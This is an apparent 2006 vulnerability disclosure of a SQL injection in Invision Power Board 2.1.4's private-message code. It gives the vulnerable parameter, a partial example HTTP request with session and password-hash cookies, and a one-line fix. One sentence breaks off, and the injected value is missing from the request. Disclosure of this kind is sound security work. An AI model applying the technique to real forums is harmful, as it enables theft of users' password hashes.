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SQL injection exploit IPB <= 2.1.4
Date: Thu Apr 27 2006 - 11:05:08 CDT
This exploit has only been tested on 2.1.4. Others are most likely vulnerable but have not yet been tested.
Simple SQL injection in func_msg.php on line 448. to_by_id is not properly sanitized. It's passed to the class via an instance of the messenger class, which takes it from the ipb sanitized input array. It has limited use (only know whether the query was successful).
To exploit this, make a request to send a PM, but include a value in the request so that
Here is an example request:
User-Agent: Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.7.12) Gecko/20060405 Firefox/1.0.7
Cookie: bbmode=0; member_id=1; forum_read=a%3A1%3A%7Bi%3A2%3Bi%3A1146068785%3B%7D; pass_hash=c0a4d27ac2c36ef6fe25d27c5c0f3b17; session_id=9dd0de2c068478414d8e7bae7790ce46; ipb-myass-div=310,109
Using an injection like this someone's pass hash could be easily deduced.
Simple fix: intval($this->to_by_id)